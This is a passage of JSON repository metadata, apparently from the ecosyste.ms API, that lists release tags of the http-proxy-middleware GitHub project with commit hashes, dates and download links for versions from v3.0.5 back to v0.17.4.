cy_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"01934d33b157b2d49f7099a18ceec165e7502040","kind":"commit","published_at":"2025-04-09T19:30:50.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.4/manifests"},{"name":"v2.0.8","sha":"d03d51b54ac8d40db8438a8b216cf1ea92bb7849","kind":"commit","published_at":"2025-04-09T19:30:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.8","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.8/manifests"},{"name":"v2.0.7","sha":"1e9233909839962bb3c1980848ad499b4757a71d","kind":"commit","published_at":"2024-10-06T17:22:45.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7/manifests"},{"name":"v3.0.3","sha":"43f38836b5ff00a6e46ae357dfd071361fa93ca1","kind":"commit","published_at":"2024-10-06T17:16:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.3/manifests"},{"name":"v2.0.7-beta.1","sha":"0b4274e8cc9e9a2c5a06f35fbf456ccfcebc55a5","kind":"commit","published_at":"2024-10-06T16:58:31.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.1/manifests"},{"name":"v2.0.7-beta.0","sha":"1bd6dd578b1326ed7979c301e3f8eb0f228f5b6f","kind":"commit","published_at":"2024-10-06T12:14:38.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.7-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.7-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.7-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.7-beta.0/manifests"},{"name":"v3.0.2","sha":"6fae40dd77214f1ed961b7b0b56450a22d5c290f","kind":"commit","published_at":"2024-09-03T20:19:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"06ee9054093e8ce7b85a24fc72937f97720c205d","kind":"commit","published_at":"2024-08-31T19:40:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1/manifests"},{"name":"v3.0.1-beta.1","sha":"897611af512ffaf6add1601585952356fde8aec5","kind":"commit","published_at":"2024-07-19T16:51:05.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.1/manifests"},{"name":"v3.0.1-beta.0","sha":"f424cefc67c6f3430e81f285d7578e96486e39fa","kind":"commit","published_at":"2024-04-20T18:05:20.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.1-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.1-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.1-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.1-beta.0/manifests"},{"name":"v3.0.0","sha":"84bfa46fc7174f46b9f24c1e7a7a1a977f0993f3","kind":"commit","published_at":"2024-04-01T21:32:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0/manifests"},{"name":"v3.0.0-beta.1","sha":"47b7e018f614bcdc06f72c4fdbac3a91ba3b5bb7","kind":"commit","published_at":"2023-03-03T22:26:55.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0-beta.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0-beta.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0-beta.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.1/manifests"},{"name":"v3.0.0-beta.0","sha":"4c136abf0a1e433e1293739cb1c22e533b81275a","kind":"commit","published_at":"2022-04-22T17:32:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v3.0.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v3.0.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v3.0.0-beta.0/manifests"},{"name":"v2.0.6","sha":"c08cb1e13b8d8c63b517953156444c9b1ce140eb","kind":"commit","published_at":"2022-04-20T19:54:25.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.6/manifests"},{"name":"v2.0.5","sha":"f64c99489526c355a96f6e32709da9299175d4e9","kind":"commit","published_at":"2022-04-19T20:25:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.5/manifests"},{"name":"v2.0.4","sha":"4baae769e46914299240d4c3ddd59019ba1520bd","kind":"commit","published_at":"2022-03-13T16:06:43.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.4/manifests"},{"name":"v2.0.3","sha":"cb466286e83782e868df966cd687a656df7a91f2","kind":"commit","published_at":"2022-02-07T18:42:54.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"d7623983e18f0daa724a3fcc0b5d4d1812e4c3c1","kind":"commit","published_at":"2022-01-23T17:37:45.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"c9bec81e82664809c816250f15d30543c4447571","kind":"commit","published_at":"2021-07-01T20:36:59.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"6429b647fcbc4ac8f60c37a654e0d1c306fd2551","kind":"commit","published_at":"2021-05-07T17:41:01.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v2.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v2.0.0/manifests"},{"name":"v1.3.1","sha":"b78d5d4cbbc681e4c4d1b5257477f40974dc3b84","kind":"commit","published_at":"2021-04-28T18:41:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.3.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"34468a161065cd147120390af799a556dc3494e2","kind":"commit","published_at":"2021-04-25T21:33:44.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.3.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"1704875df236bfa8ff156502436906cd84fc88bd","kind":"commit","published_at":"2021-04-24T12:50:09.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.2.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"017ac01aa08bee2cb286e9f229b9fb78d406e4c5","kind":"commit","published_at":"2021-04-18T13:19:08.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.2.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.2.0/manifests"},{"name":"v1.1.2","sha":"13bc071c0caada7a4fb2345b91256167e7d7463b","kind":"commit","published_at":"2021-04-14T20:07:14.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"0381fdfbc5976ad8a3632fd92b7406047f1c6748","kind":"commit","published_at":"2021-04-10T08:43:57.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"c38efe9215f4089fc2fc8baf0c7b07840789da47","kind":"commit","published_at":"2021-03-28T21:29:41.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.1.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.1.0/manifests"},{"name":"v1.0.6","sha":"f212a047ef45898ce6053b622cada4b0617b9ddf","kind":"commit","published_at":"2020-10-11T19:40:04.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.6","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.6/manifests"},{"name":"v1.0.5","sha":"5384dcfab6e5d565b97b2ff5d6cac3209aada6e8","kind":"commit","published_at":"2020-07-09T16:40:37.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.5","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.5/manifests"},{"name":"v0.19.2","sha":"ffcd889b2aa8bbc59ed93f2bd34a61923748942f","kind":"commit","published_at":"2020-05-19T18:56:13.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.2/manifests"},{"name":"v1.0.4","sha":"68e3e300574d275ea99f264dedcfd72d7dccc626","kind":"commit","published_at":"2020-05-18T16:27:47.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.4","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"e767654221fbc866adf16e3c0c96c29ca6800220","kind":"commit","published_at":"2020-03-16T21:20:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.3","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"573a8c45fbdf6b41ea99a8d8216d43f2455bb604","kind":"commit","published_at":"2020-03-14T13:22:10.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.2","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"23522c7a88098e2e18d4a836e41c3dde9d55c4a6","kind":"commit","published_at":"2020-02-29T12:37:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"aefdbe8688f3e1491a9e94c08e17fb6b3a0d6a8f","kind":"commit","published_at":"2020-02-18T22:28:36.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v1.0.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v1.0.0/manifests"},{"name":"v0.21.0","sha":"b8f33210770878685202ceb7494e53399ed838a0","kind":"commit","published_at":"2020-02-16T18:31:18.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.21.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"3b9730826187c708fbd16cb0baa588f6aad73a00","kind":"commit","published_at":"2019-09-03T19:54:52.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.20.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0/manifests"},{"name":"v0.20.0-beta.0","sha":"021b03f0d805446d21e9e9b0700c75b8eb8f39f6","kind":"tag","published_at":"2019-06-02T15:17:34.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.20.0-beta.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.20.0-beta.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.20.0-beta.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0-beta.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.20.0-beta.0/manifests"},{"name":"v0.19.1","sha":"6422977cebde7ba6b2a506f47db97aa58ccbd44c","kind":"commit","published_at":"2018-11-25T20:18:04.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.1","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"bb59c666dbb65cc0ef422bbf5332b67cbd6fb0e3","kind":"commit","published_at":"2018-08-29T21:09:16.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.19.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.19.0/manifests"},{"name":"v0.18.0","sha":"952c1afb7045179417659cf45c111f51b9339d2e","kind":"commit","published_at":"2018-03-12T22:39:51.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.18.0","html_url":"https://github.com/chimurai/http-proxy-middleware/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/chimurai/http-proxy-middleware@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags/v0.18.0/manifests"},{"name":"v0.17.4","sha":"cb5e084e71bc3202fe4f711f2f5edf4e29355d99","kind":"commit","published_at":"2017-03-02T23:05:58.000Z","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/v0.17.4","html_url":"ht